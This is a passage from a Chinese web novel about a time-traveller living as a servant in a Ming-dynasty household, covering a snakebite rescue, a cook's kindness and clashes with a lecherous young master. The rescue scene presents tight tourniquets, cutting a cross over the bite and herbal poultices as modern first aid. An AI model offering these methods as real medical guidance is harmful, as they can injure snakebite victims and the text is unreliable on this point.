“咋办啊!像是被长虫(蛇)咬了!”
“天爷!看这腿肿的!乌黑发亮!怕是……怕是没救了啊!”
“快掐人中!试试掐人中!”
苏惟瑾挤进人群,只看一眼,心头便是一沉!
男童面色青紫,嘴唇发绀,已陷入昏迷。
卷起的左腿裤管下,
小腿近脚踝处有两个清晰的细小齿痕,
周围皮肤乌黑肿胀,硬得像石头,
毒性蔓延极快!
“都散开!别围着!让他透气!”
苏惟瑾一声低喝,
带着不容置疑的指令口吻,
用的是现代急救原则。
围观妇人被他这突如其来的气势震慑,下意识退开半步。
苏惟瑾扑到男童身边,超频大脑以前所未有的速度运转分析:
·毒蛇识别:齿痕间距小,深度浅,非大型毒蛇。
结合本地蛇类分布(大脑自动调取相关地理生物知识),
高度疑似蝮蛇类,毒性以血循毒(破坏血液循环系统)为主!
·急救方案确立:阻止毒素扩散→清除伤口毒液→延缓吸收!必须争分夺秒!
“大婶!布带!头绳!快!要能扎紧的!”
苏惟瑾语速极快,目光锐利地盯向那已崩溃的农妇。
农妇如同抓住救命稻草,
慌乱地扯下自己的头绳递过。
苏惟瑾接过,在男童伤口上方、
肿胀部位上缘约一掌宽处,
用尽全身力气进行“近心端缚扎”,
死死勒紧,最大限度地减缓静脉血和淋巴液回流,
阻止毒素随血液上行!
“水!干净的水!”
他再次疾呼。
旁边一妇人慌忙递上竹筒水壶。
苏惟瑾接过,毫不犹豫地浇淋伤口,
进行初步冲洗,稀释表层毒液。
每一秒都至关重要。
最关键一步——切开排毒!
他掏出怀中钝口小刀,
眉头紧皱,太钝了!
“锋利的东西!尖石头也行!”
他急吼。
一机灵妇人迅速从地上拾起一块边缘锋利的碎石英石递来。
苏惟瑾一咬牙,眼神冰冷专注,
用石英石尖锐边缘,对准毒蛇牙痕中心,
稳准狠地划下了一个“十”字切口!
力度控制精准,
既要划开皮肤及浅层组织引流,
又避免伤及深层血管神经!
暗红发黑的毒血瞬间涌出!
“啊!”
周围响起一片惊叫。
苏惟瑾毫不理会,
双手用力挤压伤口周围,
促进毒血排出。
他牢记现代急救禁忌,
绝不用口吸吮,避免自身中毒。
挤压片刻,血色稍转红,
但男童仍未苏醒,肿胀也未消。
需要辅助解毒!草药!
大脑知识库疯狂检索本地常见植物图谱……
七叶一枝花?
难寻!半边莲?
季节不对!有了!鬼针草!
遍地常见,现代研究证实其有抗炎、
清热、解毒之效!
他猛地抬头,
目光锁定不远处一丛开着小白花的鬼针草,
冲过去扯下几株,
塞入口中疯狂咀嚼。
苦涩辛辣的汁液弥漫开来,
刺激得他胃里翻腾,
但他强忍着,将嚼烂的草泥吐出,
仔细敷在男童伤口上,
又从自己破旧内衫撕下布条包扎固定。
一系列动作如行云流水,快、准、稳,
不过几分钟时间。
做完最后一步,
苏惟瑾才感觉一股虚脱感袭来,
后背已被冷汗浸透。
空地上一片死寂。
所有妇人都目瞪口呆地看着这个突然出现、
行为怪异却又透着一股莫名权威的少年下人。
他那冷静到近乎冷酷的处理方式,
完全超出了她们的认知。
“你…你给他敷的啥草?能行吗?”
一妇人迟疑地问,带着难以置信。
“鬼针草,能缓解毒性。
伤口放了毒,扎紧了腿。
现在立刻送去找郎中!
还有希望!”
苏惟瑾声音沙哑,言简意赅。
那农妇此刻才如梦初醒,
扑通跪地,对着苏惟瑾砰砰磕头,涕泪横流:
“小恩公!活菩萨!
谢谢!谢谢您救了我儿一命啊!”
感激之情,发自肺腑。
很快,农妇的丈夫
——一个名叫张老三的黝黑汉子(张家佃户)闻讯赶来,
看到儿子情况暂稳,
又听妻子泣诉经过,
对着苏惟瑾也是连连作揖,
第8章 厨娘善意,一饭之恩永铭
张家大宅就像个巨大的、缓慢运转的磨盘,
无情地碾磨着里面每一个下人的时间和精力。
苏惟瑾靠着后山急救挣来的那点“巨款”,
胆战心惊地摸到后门,
趁着守门老仆打盹换岗的间隙,
用五文钱巨资从一个走街串巷的货郎那儿
换了一支最便宜的毛笔和一小沓质量稍好的毛边纸。
剩下的铜板和一个鸡蛋,
他藏得严严实实,
那是他最后的战略储备。
至于另一个鸡蛋,
在那天晚上就被他怀着无比虔诚的心情,
细细咀嚼咽下了肚。
天知道,他穿越以来第一次尝到荤腥(虽然只是鸡蛋),
差点没把舌头一起吞下去。
那点蛋白质带来的暖意,
支撑他又熬过了两个饥肠辘辘的夜晚。
但储备粮很快消耗殆尽,
张家的伙食依旧是清得能照见人影的米汤
和硬得能崩掉牙的杂粮饼子,
偶尔飘着几根看不见油花的咸菜丝。
苏惟瑾正在长身体,
又日夜耗神读书,
那点热量摄入简直杯水车薪。
他饿得眼睛发绿,
看书房里那红木桌子都像块巨大的红糖糕,
恨不得扑上去啃两口。
这日晌午后,
他刚有气无力地扫完书房院子,
饿得前胸贴后背,眼前阵阵发黑,
只好靠着廊柱缓缓滑坐到地上,节省体力。
肚子里的鸣响如同闷雷,一阵紧过一阵。
“哎,那小九…对,就是你,过来一下。”
一个略显苍老却温和的女声从月亮门那边传来。
苏惟瑾抬起头,
看见厨房负责洗刷的陈婶正探出半个身子,朝他招手。
陈婶约莫四十多岁,
头发已经花白了大半,
在脑后挽了个简单的髻,
用一根木簪固定着。
脸上刻满了岁月的痕迹,
但眼神很慈和,总是带着点愁苦,
却又透着善良。
记忆里,这是张家为数不多不会刻意刁难下人的老人。
苏惟瑾心里咯噔一下,
以为是偷懒被抓住了,连忙挣扎着想站起来。
陈婶却快步走过来,
手里好像藏着什么东西,
四下张望了一下,见没人注意,
迅速将一个小布包塞进苏惟瑾手里,低声道:
“快拿着,趁热吃两口垫垫肚子。
半大小子,吃那点猫食怎么扛得住活儿。”
入手是温热的触感。
苏惟瑾一愣,低头打开布包,
里面竟然是半个白面馒头!
虽然不算很大,但实实在在,
散发着麦子独有的香甜气息!
对于此刻的他来说,这不亚于龙肝凤髓!
巨大的惊喜和酸楚猛地冲上鼻腔,
他眼眶瞬间就红了。
“陈…陈婶…这…”
他嗓子眼像是被什么堵住了,声音发哽,
他知道陈婶子以前就帮助过原来的苏小九。
只是他作为穿越者,
以前在现代社会中根本就没有体会到如此的处境。
此时穿越以来的所有委屈、恐惧、孤独,
似乎在这一刻找到了一个宣泄口。
“快别声张!”
陈婶紧张地又看了看周围,
眼神里带着后怕和关切。
“瞅你饿得脸都绿了,眼看着风一吹就倒。
赶紧吃了,别让人瞧见。
以后…以后要是实在饿得狠了,
过了饭点,厨房后头潲水桶旁边那个拐角,
有时会有点…呃,
收拾出来的东西,你不嫌弃的话…”
她话说得含糊,但苏惟瑾听懂了。
那是暗示他可以去捡点别人不要的、
或许只是卖相不好的食物残渣。
若是以前的苏惟瑾,或许会感到屈辱。
但此刻,饿得快要失去尊严的他,
只觉得这是一股能救命的暖流。
他紧紧攥着那半个馒头,
像是攥着全世界最珍贵的宝物,
重重点头:
“谢谢…谢谢陈婶!我…我不嫌弃!”
“唉,造孽哦…”
陈婶叹了口气,眼神更加慈和,
还带着点同病相怜的意味。
“都是苦命人…我瞅着你,
就想起我家那口子以前…也是饿得慌…”
她似乎想起了什么伤心事,
眼圈也有些发红,
赶紧用围裙擦了擦手。
“快吃吧,我得回去了,
管事的瞧见又该骂了。”
她转身匆匆走了,背影有些佝偻。
苏惟瑾看着她消失的方向,
深吸一口气,强压下翻涌的情绪。
他没有立刻狼吞虎咽,
而是先将馒头小心翼翼地揣进怀里,
快步走到院子最偏僻的角落,
确认左右无人,才拿出来,
小口小口地、极其珍惜地吃了起来。
每一口都细细咀嚼,
感受着麦香的甘甜和淀粉转化为糖分带来的微弱能量。
这半个馒头,比他在现代吃过的任何山珍海味都要美味千倍万倍!
雪中送炭,莫过于此。
这份在绝境中伸出援手的善意,他苏惟瑾,记下了!
此后几天,苏惟瑾果然偶尔能在厨房后那个隐蔽的角落,找到一点“惊喜”。
有时是半块捏剩的窝头,
有时是一小撮咸菜疙瘩,
甚至有一次,居然有一小碗几乎全是米粒的剩粥!
他知道,这必定是陈婶偷偷给他留的,
还要冒着被管事发现的风险。
他每次都是默默地、感激地收下,吃得干干净净。
一来二去,他和陈婶偶尔能搭上一两句话。
苏惟瑾知恩图报,
有时扫院子扫到厨房附近,
会主动帮陈婶提两桶水,
或者搬点柴火。
陈婶推辞不过,看他的眼神越发慈爱。
一次帮忙搬柴时,
陈婶看着他又清减几分的脸颊,
忍不住絮叨:
“唉,你这孩子,也是个命苦的。
听说爹娘都没了?
我那当家的去得也早,
就留下我们娘俩相依为命…”
苏惟瑾动作一顿,轻声问:
“陈婶,您家里还有…”
“还有个闺女,叫芸娘,”
陈婶提到女儿,脸上露出些许光彩,
随即又被愁苦覆盖。
“比你也大不了两岁,
第9章张诚起疑心,惟瑾巧藏拙
日子如同张家后院那潭死水,
表面波澜不惊,
底下却因苏惟瑾这只“鲶鱼”的闯入,
暗流渐生。
苏惟瑾依旧每日在书房院落洒扫,
身形依旧瘦削,
但眼神深处那簇因知识而点燃的火苗,却愈发灼亮。
超频大脑如饥似渴地吸收着一切能接触到的信息,
不仅限于书籍,还包括下人间流传的只言片语、张府的人情往来。
他开始在脑海中构建张家的关系图谱,
分析每个人的性格弱点与可利用之处。
他能清晰地感觉到,
书房里那几个负责笔墨、
原本眼高于顶的小厮,
看他的眼神悄然发生了变化。
最初的鄙夷和嘲弄褪去,
取而代之的是一种混杂着惊奇、
忌惮甚至一丝巴结的复杂情绪。
毕竟,一个能“一夜成诵”的下人,
哪怕字写得再不堪,
也透着股令人不安的“邪门”。
这股“邪门”之气,终究是飘进了张家少爷张诚那被酒色填塞的脑子里。
张诚这几日颇觉腻烦。
新得的丫鬟失了新鲜,
赌钱手气背运,
加之父母耳提面命要他“收心读书”,
心头正憋着一股无名火。
这日下午,他又被强按在书房,
对着《论语》上“子曰学而时习之”几个大字两眼发直,
满脑子却是勾栏瓦舍里的丝竹之声。
烦躁间,他眼角瞥见窗外那个瘦削却挺直的身影,
正一丝不苟地擦拭着廊柱下的石阶。
是那个叫苏小九的书童!
张诚混沌的脑海猛地闪过几日前这小子流利背诵《三字经》的情形,
一股混杂着嫉妒、不爽和隐隐不安的邪火“噌”地冒了起来。
一个贱籍奴才,认字的速度竟比他这个正经少爷还快?
这他娘的不是啪啪打他的脸吗?
张诚“啪”地合上书,
挺着肥硕的肚子蹬到门口,
叉着腰,用他那公鸭嗓阴阳怪气地喊道:
“喂!那个扫地的!
对,就是你,苏小九!
给爷滚进来!”
苏惟瑾心中警铃微作,
放下抹布,小跑进去,
垂手躬身,姿态卑微到极致:
“少爷,您有何吩咐?”
大脑已飞速运转,预判着各种可能。
张诚一双被肥肉挤成细缝的小眼睛,
像探照灯似的在苏惟瑾身上来回扫视,
想找出点“非我族类”的蛛丝马迹。
可看了半晌,除了人更清瘦些、
肤色因劳作略深,
与普通下人并无二致。
“啧啧,”
张诚故意凑近,
带着酒气的呼吸喷在苏惟瑾脸上,
伸手就想捏他的下巴。
“瞧这小脸瘦的,
干这些粗活可惜了,
少爷我看着都心疼……”
苏惟瑾强忍胃里翻涌的恶心,
脸上挤出惶恐又为难的笑,
不着痕迹地后退半步,
声音带着颤儿:
“少爷…少爷怜惜,
小人感激不尽!
只是…只是小人身上那‘恶疥’虽好了七八,
郎中说还需静养,
怕…怕过了病气给少爷,
那小人万死难辞其咎啊!”
张诚的手僵在半空,
想起那日的“千日疥”,
嫌恶地缩了回去,但疑心未消,
反而更盛。
他冷哼一声,语气转厉:
“少他妈拿病说事!
我看你是心里还有鬼!
怎么?那天磕头认错是糊弄你爷爷我?”
苏惟瑾立刻“吓得”噗通跪地,
磕头如捣蒜:
“少爷明鉴!小人不敢!
小人对天发誓,对少爷、对张家绝无二心!
小人…小人只是想着,
这书房是圣人之地,最重清净,
小人愚笨,能在此洒扫已是天大的福分,
万不敢有丝毫亵渎之念!
小人…小人只想好好做事,
若能偶尔聆听少爷读书,
沾点文气,便是几世修来的造化了!”
这番以退为进、
马屁拍得恰到好处的说辞,
稍稍平息了张诚的怒火,
却勾起了他另一种心思。
他眼珠一转,踱回书案前,
随手从书架上抽出两本书
——一本《百家姓》,
一本更厚的《千字文》,
重重摔在苏惟瑾面前。
“听说你小子记性不错?”
张诚语气带着明显的不怀好意,
拿起戒尺在手里掂量着。
“来,给爷念念这两本!
念得好,爷赏你顿肉吃!
念不出来,或者念错一个字……”
他嘿嘿冷笑,戒尺敲在桌面上啪啪作响。
“爷就让你好好长长记性!”
旁边两个小厮交换了个幸灾乐祸的眼神。
《千字文》艰深拗口,这苏小九怕是要倒大霉了!
苏惟瑾心中却是一喜!
真是想睡觉就有人送枕头!
他脸上瞬间堆满极致的惶恐和为难,
声音都带了哭腔:
“少…少爷…这…小人…
小人只认得《三字经》里那几个字…
这…这么厚的书…
小人…小人怕是…”
“废什么话!念!”
张诚不耐烦地吼道。
“是…是…”
苏惟瑾“战战兢兢”地拿起《百家姓》,
翻开来,开始了他精心设计的“结巴流”表演:
“赵…赵钱孙李…周、周吴郑王…
冯…冯陈褚卫…蒋、蒋沈韩杨…”
他刻意放慢速度,
在一些笔画繁多或不太常见的姓氏上(如“褚”、“卫”、“杨”)故意卡壳,
或“犹豫”读音,显得十分吃力笨拙。
但奇妙的是,磕绊归磕绊,竟一字未错!
张诚起初歪着嘴准备挑刺,
听着听着,小眼睛渐渐瞪圆了。
这奴才…还真能念下来?
虽结巴,却无误?
一本《百家姓》“艰难”念完,
苏惟瑾“累”得额头见汗(实则是控制表演的消耗),
小心翼翼问:
第10章 路见不平,小捕快周大山
这日天光正好,
张诚少爷不知又从哪儿得了新玩意儿,
在书房里摆弄得不亦乐乎,
嫌苏惟瑾在旁边碍眼,
便打发他去城南的李记纸铺买几刀上好的宣纸,
顺便再去稻香斋包几样新出的点心。
跑腿的活计虽然累,
但对苏惟瑾来说,
却是难得的放风机会,
能看看这大明嘉靖元年的沭阳县城的真实模样。
沭阳县城不大,
青石板铺就的街道因为前几日的雨水还有些湿滑,
两旁是高低错落的木质或砖木结构的铺面,
布幌子迎风招展,卖什么的都有。
空气中混杂着牲畜粪便、
食物香气、中药味和人群的汗味,
一种鲜活又粗粝的市井气息扑面而来。
叫卖声、讨价还价声、孩童嬉闹声不绝于耳。
苏惟瑾揣着张诚给的散碎银两,
小心地避开地上的水洼和横冲直撞的马车,
一边走一边不动声色地观察着这一切。
超频大脑自动记录着街道布局、
商铺种类、行人衣着谈吐,
分析着这座城市的经济水平和生活状态。
正当他路过一个相对僻静的街口时,
一阵尖锐的吵骂声吸引了他的注意。
“老不死的!就你这几捆破树枝子,
也敢要十文钱?
五文!爱要不要!”
一个穿着张家家丁服、
满脸横肉的汉子正趾高气扬地指着地上几捆干柴骂骂咧咧。
苏惟瑾认得他,
是后门护院的一个小头目,
姓胡,平日里就爱欺压下人,名声很臭。
他对面是个头发花白、
脊背佝偻得像虾米的老农,
穿着补丁摞补丁的粗布衣,
脸上刻满了风霜和愁苦。
老农苦苦哀求:
“胡爷…胡爷您行行好…
这…这都是老汉我一早从山里砍来的好柴,
烘得干干的,十文钱是市价啊…
家里老婆子还等着抓药…”
“市价?老子说的就是市价!”
胡护院啐了一口,
抬脚就要去踢那柴火。
“五文!再多一文都没有!
再啰嗦,一文钱没有,
柴火你也别想要了!”
周围有几个路人驻足围观,
但大多面露不忍,却无人敢上前。
张家的恶仆,寻常百姓谁敢招惹?
苏惟瑾看着那老农绝望无助的眼神,
看着胡护院那副丑恶嘴脸,
一股无名火蹭地就窜了上来。
拳头下意识地攥紧,
但他立刻压下了冲出去的冲动。
硬碰硬?
他一个身份低微的书童,
对方是张家护院,
结果只会是自己被一起揍一顿,
甚至给张诚借口加重惩罚。
得不偿失。
可不做点什么,
这口气实在难以下咽!
知识分子的那点清高和正义感在胸腔里灼烧。
就在他飞速思考对策之时,
一个洪亮又带着几分少年人气的声音炸雷般响起:
“住手!干嘛呢!
光天化日之下,欺负老人家,
你他娘的还要不要脸!”
人群分开,
一个身材高大壮实、
穿着公门快手服饰(虽然略显陈旧)、
浓眉大眼的少年大步走了过来。
他约莫十六七岁年纪,
皮肤黝黑,眼神澄亮,
带着一股子初生牛犊不怕虎的莽撞和正气。
腰间挂着一根黑漆漆的水火棍,更添了几分威势。
胡护院被这突如其来的呵斥吓了一跳,
待看清来人只是个半大的少年快手,
而且眼生得很,
不像是什么有背景的,
顿时气焰又嚣张起来:
“哟嗬?哪儿来的小崽子?
毛没长齐就学人管闲事?
爷爷我买东西,你管得着吗?滚开!”
那少年快手却丝毫不怵,
胸膛一挺,声音更大:
“买东西?
我咋看你像是明抢啊!
人家卖十文,你给五文,还动手动脚?
告诉你,小爷我叫周大山,
县衙周捕头就是我爹!
这事儿,我还就管定了!”
原来是县衙捕快的儿子,难怪有底气。
苏惟瑾心中一动。
周大山?
这名字透着一股憨直和莽劲,倒是人如其名。
胡护院听到“周捕头”三个字,气焰稍稍一窒。
捕头虽然品级不高,
但毕竟是衙门里的人,
管着治安缉盗,
平头百姓和一般富户家奴还是有点怵的。
但他嘴上不肯认输:
“周捕头的儿子又怎么样?
买卖讲究你情我愿!
他这柴火不值十文,我还不能砍价了?”
“你那是砍价吗?你那是抢!”
周大山梗着脖子,寸步不让。
眼看两人就要顶牛,苏惟瑾知道机会来了。
他快步上前,先是冲着周大山微微躬身示好,
然后转向胡护院,
脸上堆起恰到好处的惶恐和“为张家着想”的急切,
声音不高却足以让周围人听清:
“胡爷!胡爷您消消气!
周小爷您也息怒!”
他先各打五十大板,稳住场面,
然后重点对着胡护院,
语速加快,带着点“苦口婆心”的味道。
“胡爷,您看,这大街上人来人往的,
为这几文钱闹起来,多不好看?
要是传到老爷耳朵里,
说咱们张家的人为了点柴火钱当街跟衙门口的人争执,
还是跟一位老人家…
知道的说是柴火价钱没谈拢,
不知道的,还以为咱们张家仗势欺人,
克扣穷苦人的血汗钱呢!”
他刻意加重了“张家”、“老爷”、
“仗势欺人”、“克扣血汗钱”这几个词,
眼睛紧紧盯着胡护院。
胡护院脸色微微一变。
他嚣张,但不傻。
苏惟瑾这话看似劝架,
实则是在点他:
第11章 诗会传闻,才女赵文萱
从城南回来,
苏惟瑾怀里揣着上好的宣纸和几包油汪汪的点心,
鼻尖还萦绕着稻香斋那股甜腻的香气。
他脑子里却反复回放着方才街口的那场风波,
周大山那憨直正义的模样和胡护院那欺软怕硬的丑态形成了鲜明对比。
这世道,有黑就有白,有恶就有善。
想要不被欺辱,要么自身足够强大,
要么就得学会借力打力。
今日借了周大山和张家名声的“力”,
算是小胜一场,但终究不是长久之计。
回到张府书房院,还没进门,
就听见里面传来张诚那特有的、
带着点油腻和炫耀的大笑声,
还夹杂着几个奉承讨好的声音。
显然,张少爷的狐朋狗友又来“瞻仰”他的新玩意儿了。
苏惟瑾敛眉低目,
抱着东西悄步进去,
将宣纸和点心
一一放在指定的桌案上,
然后便垂手退到角落,
准备继续擦拭那些永远擦不完的多宝阁。
尽量降低存在感,
是他在这个院子里生存的第一法则。
“诚哥,你这新得的蛐蛐罐儿真是绝了!
景德镇的细瓷吧?
瞧这画工,这釉色!”
一个尖细的声音夸张地赞叹道。
“那是!也不看是谁淘换来的!”
张诚得意地哼唧着。
“告诉你们,这可是前朝的玩意儿,值这个数!”
他伸出肥短的五根手指晃了晃。
另一个略显沙哑的声音立刻接上:
“五两?诚哥威武!”
“放屁!五十两!”
张诚啐了一口,仿佛受了莫大侮辱。
“五两银子就想买前朝的细瓷?
做梦去吧你!”
角落里响起一片倒吸冷气和阿谀奉承之声。
苏惟瑾面无表情地擦着架子,心里默默计算:
五十两,够沭阳县一个五口之家丰衣足食两三年了。
这肥猪,真是败家都不带眨眼的。
那几人围着蛐蛐罐吹捧了一阵,
话题又像没头苍蝇一样乱转起来,
从斗鸡说到赌骰子,
又从怡红院新来的姐儿说到城西新开的酒楼。
苏惟瑾只当背景噪音处理,
超频大脑自动过滤无用信息,节省能量。
忽然,那个尖细声音话锋一转,
带着几分神秘兮兮的调调:
“哎,哥几个,听说了吗?
前两天,县学赵教谕家办了个小诗会,去了不少读书种子呢。”
“诗会?酸溜溜的,有什么意思?”
张诚显然对这话题没多大兴趣。
“诚哥,这您就有所不知了!”
尖细声音卖关子似的拖长了调子。
“重点是,赵教谕那位宝贝闺女,
赵文萱赵小姐,也作了诗!
听说啊,可是一鸣惊人呐!”
“赵文萱?”
张诚的声音里终于掺进了一点别样的意味,
那股子油腻感更浓了。
“就那个…去年上元节灯会,
戴着面纱,但身段儿瞅着挺窈窕的那个?”
“对对对!就是她!
都说她不仅模样好,才学更是了得,
是咱们沭阳县有名的才女!”
沙哑声音也来了劲。
“快说说,她作了首什么诗?
怎么个一鸣惊人法?”
角落里的苏惟瑾,擦拭的动作几不可察地顿了一下。
才女?诗会?
超频大脑自动将这两个关键词的优先级调高。
那尖细声音见成功引起了注意,
更加得意,清了清嗓子,
模仿着文人吟诵的腔调,
才不伦不类地念道:
“好像是什么…‘微风拂细柳,淡月映梅花’…
后面还有两句,记不太清了,
反正就是夸院子里的景儿,
但听着就是比别人作的清新、雅致!
当时在场那几个童生秀才,
都啧啧称赞呢!”
微风拂细柳,淡月映梅花…
苏惟瑾的超频大脑瞬间启动。
意象选择:微风、细柳、淡月、梅花。
皆是传统文人偏爱之物,
符合当下审美。
构图:拂、映二字,一动一静,略显巧思。
格律:虽未闻全诗,但仅从这两句判断,平仄应是大致工整的。
意境:清新淡雅,有小家碧玉之感,
但格局稍小,未见深刻情怀或惊人语。
综合评估:中规中矩,遣词造句尚可,意境流于表面。
但在沭阳这等小县城,
出自一闺阁女子之手,已属难得,
获誉“才女”之名不算过分。
电光石火间,分析完毕。
苏惟瑾甚至能根据这两句,
推测出全诗大致的风格和水平。
同时,“赵文萱”、“赵教谕之女”、“才女”这几个标签已被牢牢存入记忆库。
“啧,听着是有点味道哈?”
张诚咂摸着嘴,
小眼睛里闪烁起一种混合着色欲和占有欲的光芒。
“才女…嘿嘿,才女好啊!
玩起来肯定跟那些庸脂俗粉不一样!
不知道这赵小姐模样到底咋样,
要是脸蛋再标致些…嘿嘿嘿…”
他那笑声猥琐得令人作呕。
旁边几个狐朋狗友立刻心领神会地发出暧昧的哄笑。
“诚哥要是感兴趣,
让老爷去赵教谕家探探口风?”
沙哑声音谄媚道。
“呸!一个穷教书的女儿,也值得我爹出面?”
张诚嘴上不屑,但语气里的意动却掩饰不住。
“再说吧…以后有的是机会…”
他们的话题很快又滑向了更不堪的方向,
开始臆测才女在床笫间是否会别有一番风情。
苏惟瑾垂下眼睑,掩去眸底深处一闪而过的冷冽和鄙夷。
赵文萱…这个名字,
连同那两句尚算清雅的诗,
在张诚这等人粗俗的谈论中,
宛如被蒙上了一层污秽。
但同时,也勾起了一丝苏惟瑾的好奇。
一个能在诗会上提笔作诗,
并获得认可的年轻女子,
在这个时代,确非凡俗。
至少,她拥有超越寻常闺阁女子的学识和勇气。
超频大脑不受控制地开始推演:
赵教谕…县学教官,虽只是未入流的杂职官,
但掌管一县生员教育考核,
在地方文教体系中颇有些影响力。
其女有此才名,想必家教甚严,书香氛围浓厚。
这与自己眼下所处的、充斥着铜臭、
恶俗和欺压的张府,简直是两个世界。
一种强烈的渴望,如同暗夜中的火苗,在苏惟瑾心中窜起。
他渴望离开这污浊的泥潭,
第12章 偷师学艺,隔窗听讲
自那日听闻才女赵文萱的诗名后,
苏惟瑾心底那簇科举的小火苗烧得更旺了些。
但光有超频大脑里那些超越时代的知识储备还不够,
他得像潜水者熟悉水性一样,
摸透这个时代科举的“规则”
——从行文格式到经典释义,
甚至先生们讲课的腔调和习惯用语。
机会很快来了。
张老爷大约是觉得宝贝儿子整天斗鸡遛狗实在不像话,
或是被哪路神仙点拨了一下,
终于痛下决心,花了些束脩,
从城外请来一位据说是“学问扎实”的老秀才,
姓钱,专给张诚开蒙讲经。
消息传到下人耳中,大伙儿私下都窃笑。
就少爷那块料,听戏文都能睡着,
还能听进去“之乎者也”?
简直是糟蹋银钱,难为老先生。
苏惟瑾却心头一动。
这正是他需要的“活教材”!
于是,每逢钱秀才来授课的日子,
书房院子总是被打扫得格外勤快。
苏惟瑾要么拿着大扫帚在廊下有一搭没一搭地划拉,
要么提个水桶慢吞吞地擦拭窗棂,
耳朵却像装了雷达,
死死锁定书房里传来的每一个字音。
钱秀才年纪约莫六十,
干瘦,留着稀疏的山羊胡,
说话带着点乡下口音,
但讲课还算认真。
可惜学生是块朽木。
大多数时候,书房里回荡的都是钱秀才慢条斯理的讲解,
夹杂着张诚哈欠连天、百无聊赖的嘟囔,
以及“先生,能歇会儿不?”
“先生,渴了,喝茶!”
之类的不合时宜的打岔。
钱秀才讲的多是蒙学基础,
《三字经》、《百家姓》、《千字文》的句读和粗浅释义。
对苏惟瑾而言,
这些内容简单得如同喝水吃饭。
超频大脑甚至能同步推演出钱秀才下一句要讲什么,
哪个字又会读得有点飘。
但他依旧听得聚精会神。
他记的不是内容,而是“形式”。
钱秀才解释“人之初,性本善”时,
引的是朱子的说法,
而非更古远的注疏。
提到孔子,必称“至圣先师”,语气恭敬无比。
分析简单对仗,会用“天对地,雨对风,
大陆对长空”这类《笠翁对韵》里的套路。
甚至老先生那略带拖腔、
抑扬顿挫的朗读调子,
苏惟瑾都默默记下、模仿。
这些都是这个时代读书人的“标配”,
是他未来必须融入的“语境”。
超频大脑像一块超级海绵,
将这些无用的“形式”快速吸收、归档,
与他记忆库里的海量知识进行交叉比对,
迅速构建起一套符合大明嘉靖元年科举规范的“话语体系”。
日子就在这“教者昏昏,
学者昭昭(指窗外那个),
听者鼾鼾(指屋里那个)”的诡异氛围中溜走。
这日午后,阳光懒散,蝉鸣聒噪。
钱秀才今日讲的依旧是《论语》,
到了“子曰:学而时习之,不亦说乎”这一句老掉牙的。
钱秀才捋着山羊胡,摇头晃脑:
“此句关键在于‘习’字。
朱子注曰,‘习,鸟数飞也’。
学之不已,如鸟数飞,方有进益。
尔等须牢记…”
窗外,正假装擦拭窗台浮尘的苏惟瑾微微点头。
这解释中规中矩,是标准答案。
然而,钱秀才大约是讲得兴起,
又或许是看张诚今天难得没趴着流口水
(其实是在偷偷拨弄藏在书桌下的蝈蝈笼),
便多发挥了几句,扯到了《论语》的成书和流传上。
“《论语》乃孔子弟子及再传弟子记录夫子言行之书,
历经秦火,至汉初方有《鲁论》、《齐论》、《古论》三种传本…
现今所见,乃汉成帝时张禹以《鲁论》为主,
采《齐论》之长,合而为一,号称《张侯论》…”
听到这里,苏惟瑾的超频大脑自动检索比对。
信息基本正确,但细节…
果然,钱秀才接下来一句便出了岔子:
“…这张禹,乃是汉成帝之师,封安昌侯。
其所定《张侯论》,便是依《鲁论》二十篇,
又采《齐论》之《问王》、《知道》二篇,故得二十二篇…”
“不对。”
一个极低极轻、几乎含在喉咙里的声音,
下意识地从苏惟瑾唇边逸出。
超频大脑基于后世考古和学术研究的确凿结论,
让他几乎本能地做出了纠正。
“《齐论》多《问王》、《知道》二篇,
但《张侯论》并未采用此二篇,
仍是依《鲁论》二十篇为底本,
只是参考了《齐论》的某些章句和训诂…
后世流传的皆是二十篇本,
《问王》、《知道》早已失传…”
他的声音压得极低,如同蚊蚋,
混合在蝉鸣风声里,本该无人察觉。
然而,就在他话音刚落的瞬间,
身后不远处,突然传来一声轻微的咳嗽!
苏惟瑾全身猛地一僵,血液似乎都凝住了。
他缓缓转过身,心脏怦怦狂跳。
只见管家张福,
不知何时竟悄无声息地站在了他身后几步远的地方!
那张总是挂着精明算计的脸上,
此刻一双三角眼正微微眯起,
带着几分探究、几分惊疑,直直地盯着他!
苏惟瑾的大脑瞬间超频运转到极致,
冷汗唰地一下浸透了后背的粗布衣衫。
完了!
被听到了!刚才那几句“僭越”的纠正,肯定被听到了!
一个最低等的书童,
竟然在偷听少爷讲课,
还敢对老秀才的讲解提出“纠正”?
这简直是翻天覆地、不可饶恕的罪过!
张福会怎么想?
会怎么做?当场发作?
拖下去痛打?还是…
无数可怕的念头电光石火般闪过。
苏惟瑾甚至能感觉到张福那审视的目光,
像冰冷的针一样,刺透他试图维持的镇定表象。
书房里,钱秀才还在慢悠悠地讲着《张侯论》的“权威性”,
张诚的蝈蝈似乎叫了一声。
窗外的蝉鸣更加聒噪,
仿佛在催促着审判的降临。
苏惟瑾的手指无意识地抠紧了手中的抹布,
喉咙发干,大脑疯狂计算着每一种可能性和应对方案。
是立刻跪下认错,装作胡言乱语?
还是硬着头皮装傻,赌张福没听清?
时间仿佛在这一刻被拉长了无数倍。
张福依旧眯着眼,没有说话,
只是那目光越发深沉难测。
他背着手,慢慢向前踱了一步。
那一步,分明踩在了苏惟瑾的心尖上。
第13章 管家发难,舌绽莲花巧辩驳
张福那一步,
仿佛不是踩在青石板上,
而是踩在了苏惟瑾的心尖上,
震得他五脏六腑都跟着一颤。
管家那双三角眼里射出的精光,
几乎要把他里外看穿。
“苏小九!”
张福的声音不高,
却带着一股子浸透骨子的寒意,
像条毒蛇倏地缠上了苏惟瑾的脖颈。
“你刚才,嘟囔些什么?”
完了!果然听到了!
苏惟瑾头皮发麻,肾上腺素急剧分泌,
超频大脑在千分之一秒内疯狂运转,
推演着无数种可能和应对方案。
否认?张福精似鬼,绝不会听错。
认罪?一个贱奴妄议学问,
轻则一顿毒打,重则发卖出去,前途尽毁!
硬扛是死路一条!必须剑走偏锋!
电光石火间,
一个荒诞却又在这个时代极具说服力的借口,
似如黑暗中劈下的闪电,骤然照亮了他的思维!
只见苏惟瑾脸上瞬间褪尽血色,
身体猛地一抖,
像是被这声呵斥吓破了胆,
“噗通”一声就跪倒在地,
膝盖磕在青石板上发出清脆的响声。
他抬起头,眼睛里已经蓄满了恰到好处的惊恐和泪水
(得益于超频大脑对面部肌肉的精准控制),
声音抖得不成样子:
“管…管家老爷明鉴!
小人…小人万万不敢议论先生啊!
借小人一百个狗胆也不敢!”
